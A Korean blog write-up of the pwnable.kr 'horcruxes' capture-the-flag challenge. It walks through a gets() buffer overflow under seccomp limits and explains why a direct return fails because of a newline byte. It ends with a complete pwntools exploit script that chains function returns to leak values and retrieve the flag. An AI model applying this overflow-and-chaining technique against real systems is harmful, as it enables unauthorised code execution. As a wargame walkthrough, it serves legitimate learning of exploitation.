[pwnable.kr] horcruxes(7 pts) :: Write-Up

두비니

·

2020. 10. 9. 05:01

 

 

 

 

 

 


Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and ROP it!
author: jiwon choi

ssh horcruxes@pwnable.kr -p2222(pw: guest)

 

와 toddler's bottle 마지막 문제네요.

대놓고 ROP라고 주어져있네요.

봅시다

 

 

일단 readme를 보니 9032로 들어가서 익스하라고하네요. 

 

 

아무튼 그렇고, 아이다로 열어봅시다.

 

 

main함수입니다. 음 저기있는 함수들을 확인해 보았을 때, init_ABCDEFG()는 랜덤값을 할당해주는 함수였고, seccomp_* 함수들이 있는데, 이는 찾아보니 프로그램을 보호하기 위해 샌드박스 안에서 실행이 될 수 있도록 하는 함수라고 하네요. 저기 써져있는 seccomp_rule_add()는 저기서 지정해주는 함수들만 사용이 가능하다고 합니다.

 

  seccomp_rule_add(v3, 2147418112, 173, 0);		// sys_rt_sigreturn
  seccomp_rule_add(v3, 2147418112, 5, 0);		// sys_open
  seccomp_rule_add(v3, 2147418112, 3, 0);		// sys_read
  seccomp_rule_add(v3, 2147418112, 4, 0);		// sys_write
  seccomp_rule_add(v3, 2147418112, 252, 0);		// sys_exit_group

 

찾아봤는데 각 함수는 각각 저런 값들을 뜻한다고 하네요.

그리고 결국 중요한건 ropme()겠죠? 확인해봅시다.

 

 

 

일단 메뉴로 a부터 g까지값이 같으면 실행이 되는 함수들이, else로 그 외의 입력을 받는 곳이 있습니다.

우선 a부터 g까지의 값은 어떻게 알 수 있을까요?

 

바로 init_ABCDGF()를 통해서 값을 설정하는데, 각 값은 랜덤으로 정해질 뿐더러, srand()를 통해서 매번 다른 값으로 설정하기 때문에 브루트포싱을 해도 소용없습니다. 

그러면 이 값들을 알아내는건 각 알파벳 함수들 밖에 없습니다. (ex. A(), B(), C(), D()...)

 

이렇게 각 변수의 값을 알려줍니다.

 

각 함수에서 모든 초기화값을 알아내야지 ropme()의 else부분에서 

 

 

다음과 같이 flag를 열 수 있습니다.

else부분에서는 입력값이 sum과 같은지를 보는데, 이 sum값은 앞서 있었던 init_ABCDEFG()에서 정해지는 값이기 때문에 사실상 예측할 수 없습니다.

 

음...일단 이 프로그램의 취약점부터 찾아봅시다.

일단 제일 먼저 찾을 수 있는 취약점은 else부분의 gets() 부분입니다.

 

  else
  {
    printf("How many EXP did you earned? : ");
    gets(s);
    if ( atoi(s) == sum )
    {
      fd = open("flag", 0);
      s[read(fd, s, 0x64u)] = 0;
      puts(s);
      close(fd);
      exit(0);
    }
    puts("You'd better get more experience to kill Voldemort");
  }

 

가장 먼저 한 생각은 gets를 이용해 간단히 buffer overflow를 이용해서 ret를 flag를 여는 곳으로 바꾸고 싶지만, 그렇게 쉽게 풀릴 문제는 당연히 아니겠죠? 이유를 봅시다.

 

 

다음은 else부분에 해당하는 어셈블리어 커드 부분입니다. ropme+224에서 gets를 받는 것을 볼 수 있고, ropme+235에서 ebp-0x74만큼 메모리를 할당해주는 것을 봐서 s의 시작 위치는 ebp-0x74임을 알 수 있습니다.

당연히 든 생각은 

 

0x78(0x74+0x4)만큼 값을 채우고, ret부분에 jne 밑부분인 0x080a010b을 넣으면 그냥 해결되는 문제가 아닌가?라고 생각했지만

 

gets()는 stdin으로 0x0a 혹은 EOF를 받을 때까지 입력을 받는다고 하네요.

즉, 넣고자 하는 주소가 0x080a010b라 넣을 수 없습니다.

 

따라서 문제에서도 언급했듯이 이 문제는 ROP(Return Oriented Programming)을 사용해야합니다.

이를 모르는 사람들을 글을 읽고 옵시다 : d4m0n.tistory.com/84

 

ROP (Return Oriented Programming)

ROP(Return Oriented Programming)란? ROP는 NX bit와 ASLR(Address Space Layout Randomize) 같은 메모리 보호 기법을 우회하기 위한 공격 기법으로, RTL(Return-to-libc), RTL Chaining, GOT Overwrite 기법을..

d4m0n.tistory.com

 

다만 추가된 것은 앞서 seccomp함수를 통해서 open, read, write, exit 함수밖에 사용할 수 없기 때문에 해당 함수와 가젯들만 사용할 수 있습니다.

 

그래서 원래는 rop를 이용해서 차례로 open >> read >> write의 순서로 실행되도록 하여 flag를 출력시키려 했으나, 가젯에도 0x0a가 들어가는 바람에 앞서 설명한 gets()의 문제와 동일한 상태가 되어서 그냥 A~F함수의 값들을 모두 출력시키는 식으로 시나리오를 바꾸어 풀었습니다.

 

 

  1 from pwn import *
  2 
  3 s = ssh(user='horcruxes', host='pwnable.kr', port=2222, password='guest')
  4 p = s.run('nc 0 9032')
  5 
  6 e = ELF('./horcruxes')
  7 
  8 p.recvuntil("Menu:")
  9 p.sendline('0')
 10 p.recvuntil("earned? : ")
 11 
 12 call_ropme = 0x0809fffc
 13 
 14 pay = ''
 15 pay += "A"*0x78
 16 pay += p32(e.sym.A)  # A
 17 pay += p32(e.sym.B)  # B
 18 pay += p32(e.sym.C)  # C
 19 pay += p32(e.sym.D)  # D
 20 pay += p32(e.sym.E)  # E
 21 pay += p32(e.sym.F)  # F
 22 pay += p32(e.sym.G)  # G
 23 pay += p32(call_ropme)
 24 
 25 #print pay
 26 p.sendline(pay)
 27 
 28 exp = 0
 29 
 30 for i in range(0, 7):
 31    print p.recvuntil("EXP +")
 32    exp += int(p.recvuntil(")")[:-1])
 33    log.info("total : " + str(exp))
 34 
 35 p.recvuntil("Menu:")
 36 p.sendline('0')
 37 p.recvuntil("earned? : ")
 38 
 39 p.sendline(str(exp))
 40 p.interactive()

 

 

 

 

 

 

이게 맞는 코드여도 정수 오버플로우때문인지 틀렸다고 하는 경우가 꽤 있더라구요. 저도 한 5~6번 해보고 풀린거 같습니다. rop..?라기보다는 rtl에 가깝다고 생각하는 문제였습니다.

 

아무튼 toddler's bottle 끝!